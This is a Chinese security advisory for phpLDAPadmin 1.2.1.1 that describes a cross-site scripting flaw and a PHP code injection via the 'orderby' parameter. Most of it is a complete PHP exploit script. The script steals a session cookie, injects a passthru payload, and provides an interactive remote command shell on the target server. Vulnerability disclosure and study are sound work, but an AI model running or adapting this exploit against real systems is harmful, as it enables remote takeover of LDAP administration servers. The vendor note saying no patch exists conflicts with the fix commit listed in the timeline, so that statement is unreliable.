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phpLDAPadmin "functions.php"远程PHP代码注入漏洞
发布日期:2011-10-25
更新日期:2011-10-25
受影响系统:
phpLDAPadmin phpLDAPadmin 1.2.1.1描述:
phpLDAPadmin phpLDAPadmin 1.2
BUGTRAQ ID: 50331
CVE ID: CVE-2011-4075 CVE-2011-4074
phpLDAPadmin是基于web的LDAP客户端,允许方便的管理LDAP服务器。
phpLDAPadmin在实现上存在远程PHP代码注入漏洞,攻击者可利用此漏洞在受影响应用程序中注入和执行PHP代码,控制系统。
1)cmd.php中的URL后附加的输入在返回给用户之前没有正确过滤,可被利用在受影响站点用户浏览器中执行任意HTML和脚本代码。
2)cmd.php中的"orderby"参数中传递的输入在用于"create_function()"函数调用之前,没有在lib/functions.php中正确过滤。可被利用注入和执行任意PHP代码。
<*来源:EgiX (n0b0d13s@gmail.com)
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<?php
/*
------------------------------------------------------------------------
phpLDAPadmin <= 1.2.1.1 (query_engine) Remote PHP Code Injection Exploit
------------------------------------------------------------------------
author...............: EgiX
mail.................: n0b0d13s[at]gmail[dot]com
software link........: http://phpldapadmin.sourceforge.net/
affected versions....: from 1.2.0 to 1.2.1.1
+-------------------------------------------------------------------------+
| This proof of concept code was written for educational purpose only. |
| Use it at your own risk. Author will be not responsible for any damage. |
+-------------------------------------------------------------------------+
[-] vulnerable code in /lib/functions.php
1002. function masort(&$data,$sortby,$rev=0) {
1003. if (defined('DEBUG_ENABLED') && DEBUG_ENABLED && (($fargs=func_get_args())||$fargs='NOARGS'))
1004. debug_log('Entered (%%)',1,0,__FILE__,__LINE__,__METHOD__,$fargs);
1005.
1006. # if the array to sort is null or empty
1007. if (! $data) return;
1008.
1009. static $CACHE = array();
1010.
1011. if (empty($CACHE[$sortby])) {
1012. $code = "\$c=0;\n";
1013.
1014. foreach (explode(',',$sortby) as $key) {
1015. $code .= "if (is_object(\$a) || is_object(\$b)) {\n";
1016.
1017. $code .= " if (is_array(\$a->$key)) {\n";
1018. $code .= " asort(\$a->$key);\n";
1019. $code .= " \$aa = array_shift(\$a->$key);\n";
....
1078. $code .= 'return $c;';
1079.
1080. $CACHE[$sortby] = create_function('$a, $b',$code);
1081. }
The $sortby parameter passed to 'masort' function isn't properly sanitized before being used in a call to create_function()
at line 1080, this can be exploited to inject and execute arbitrary PHP code. The only possible attack vector is when handling
the 'query_engine' command, here input passed through $_REQUEST['orderby'] is passed as $sortby parameter to 'masort' function.
[-] Disclosure timeline:
[30/09/2011] - Vulnerability discovered
[02/10/2011] - Issue reported to http://sourceforge.net/support/tracker.php?aid=3417184
[05/10/2011] - Fix committed: http://phpldapadmin.git.sourceforge.net/git/gitweb.cgi?p=phpldapadmin/phpldapadmin;h=76e6dad
[23/10/2011] - Public disclosure
*/
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
function http_send($host, $packet)
{
if (!($sock = fsockopen($host, 80)))
die( "\n[-] No response from {$host}:80\n");
fwrite($sock, $packet);
return stream_get_contents($sock);
}
print "\n+-------------------------------------------------------------------+";
print "\n| phpLDAPadmin <= 1.2.1.1 Remote PHP Code Injection Exploit by EgiX |";
print "\n+-------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] <host> <path>\n";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /phpldapadmin/htdocs/\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$packet = "GET {$path}index.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
if (!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid)) die("\n[-] Session ID not found!\n");
$phpcode = "foo));}}error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die;/*";
$payload = "cmd=query_engine&query=none&search=1&orderby={$phpcode}";
$packet = "POST {$path}cmd.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
while(1)
{
print "\nphpldapadmin-shell# ";
if (($cmd = trim(fgets(STDIN))) == "exit") break;
preg_match("/_code_(.*)/s", http_send($host, sprintf($packet, base64_encode($cmd))), $m) ?
print $m[1] : die("\n[-] Exploit failed!\n");
}
?>
建议:
厂商补丁:
phpLDAPadmin
------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://phpldapadmin.sourceforge.net/
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